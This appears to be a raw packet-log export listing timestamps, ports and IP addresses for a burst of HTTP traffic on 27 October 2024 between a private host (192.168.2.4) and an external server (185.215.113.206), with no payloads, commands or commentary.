Oct 27, 2024 12:13:28.813302040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.813316107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.813330889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.813348055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.813349009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.813369989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.813384056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.813417912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.813540936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.813556910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.813574076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.813579082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.813590050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.813608885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.813621044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.813657045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.813810110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.813823938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.813838959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.813849926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.813853979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.813870907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.813882113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.813921928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.814496994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814512014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814527035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814538002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.814551115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814569950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814574957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.814594030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814615965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.814623117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814641953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.814646959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814661980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814670086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.814677954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814692974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814697027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.814711094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814716101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.814727068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814742088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814750910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.814754009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814769983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814785957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814793110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.814801931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814815998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814826965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.814831018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814848900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814852953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.814865112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814868927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.814883947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814907074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.814940929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814943075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.814955950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814980984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.814996004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.815001011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.815010071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.815026045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.815032959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.815042019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.815056086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.815057993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.815078020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.815084934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.815094948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.815110922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.815124989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.815156937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.815310001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.815334082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.815349102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.815356970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.815363884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.815380096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.815395117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.815395117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.815411091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.815427065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.815433025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.815443993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.815459967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.815463066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.815490007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.815526009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.816004992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816020966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816037893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816047907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.816057920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816073895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816075087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.816091061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816097021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.816107988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816121101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.816128969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816143990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816150904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.816159964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816167116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.816175938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816201925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.816236973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.816262960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816427946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.816431999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816469908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.816514969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816530943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816545010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816557884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.816560030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816575050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.816576004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816596031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816600084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.816620111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816637039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.816660881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.816812992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816859007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.816878080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816895008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816909075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.816915989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.816941023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.816958904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.929687977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.929734945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.929749966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.929796934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.929807901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.929811001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.929828882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.929866076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.929889917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.929927111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.929943085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.929958105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.929965019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.929974079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.929989100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.929991961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.930027962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.930123091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.930138111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.930151939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.930166006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.930171967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.930181980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.930197001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.930202961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.930232048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.930238962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.930274963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.930298090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.930313110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.930334091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.930362940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.930376053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.930393934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.930407047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.930423021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.930430889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.930452108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.930473089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.930495977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.930522919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.930537939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.930552959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.930569887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.930576086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.930617094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.971371889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.971407890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.971426010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.971432924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.971463919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.971515894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.971530914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.971544981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.971545935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.971596956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.971611023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.971615076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.971628904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.971636057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.971673965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.971793890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.971837997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.971862078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.971892118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.971904039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.971906900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.971930027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.971951008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.971998930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972013950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972028017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972040892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.972069025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.972157955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972172976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972187996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972198009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.972206116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972228050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.972282887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.972356081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972369909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972387075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972402096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972409010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.972419024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972433090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972441912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.972449064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972465038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972472906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.972497940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.972531080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.972827911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972842932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972856998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972872972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972888947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.972896099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972910881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972925901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972930908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.972939968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972943068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.972954988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972965956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.972970963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.972986937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.973001003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.973005056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.973017931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.973045111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.973069906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.973283052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.973299026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.973315001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.973330021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.973340034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.973346949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.973361969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.973373890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.973400116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.973500013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.973515034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.973527908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.973548889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.973550081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.973565102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.973573923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.973589897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.973612070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.973644018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.973690033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.973732948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.974159956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.974174976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.974183083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.974234104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.974270105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.974284887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.974313021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.974338055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.974371910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.974386930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.974401951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.974416971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.974426985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.974431992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.974457026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.974482059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.974606037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.974633932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.974648952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.974667072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.974674940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.974683046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.974698067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.974705935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.974776030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.974971056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.974986076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.975001097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.975016117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.975029945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.975032091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.975044966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.975056887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.975059986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.975075960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.975080967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.975090981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.975106001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.975106955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.975122929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.975137949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.975142002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.975173950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.975349903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.975496054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.975511074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.975528955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.975537062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.975543976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.975558996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.975564957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.975574970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.975589991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.975596905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.975605965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.975620985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.975625992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.975651026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.975682974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.016206026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.021888018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.298594952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.298742056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:29.298764944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.298779011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.298800945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.298816919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:29.298832893 CET	80	49730	185.215.113.206	192.168.2.4
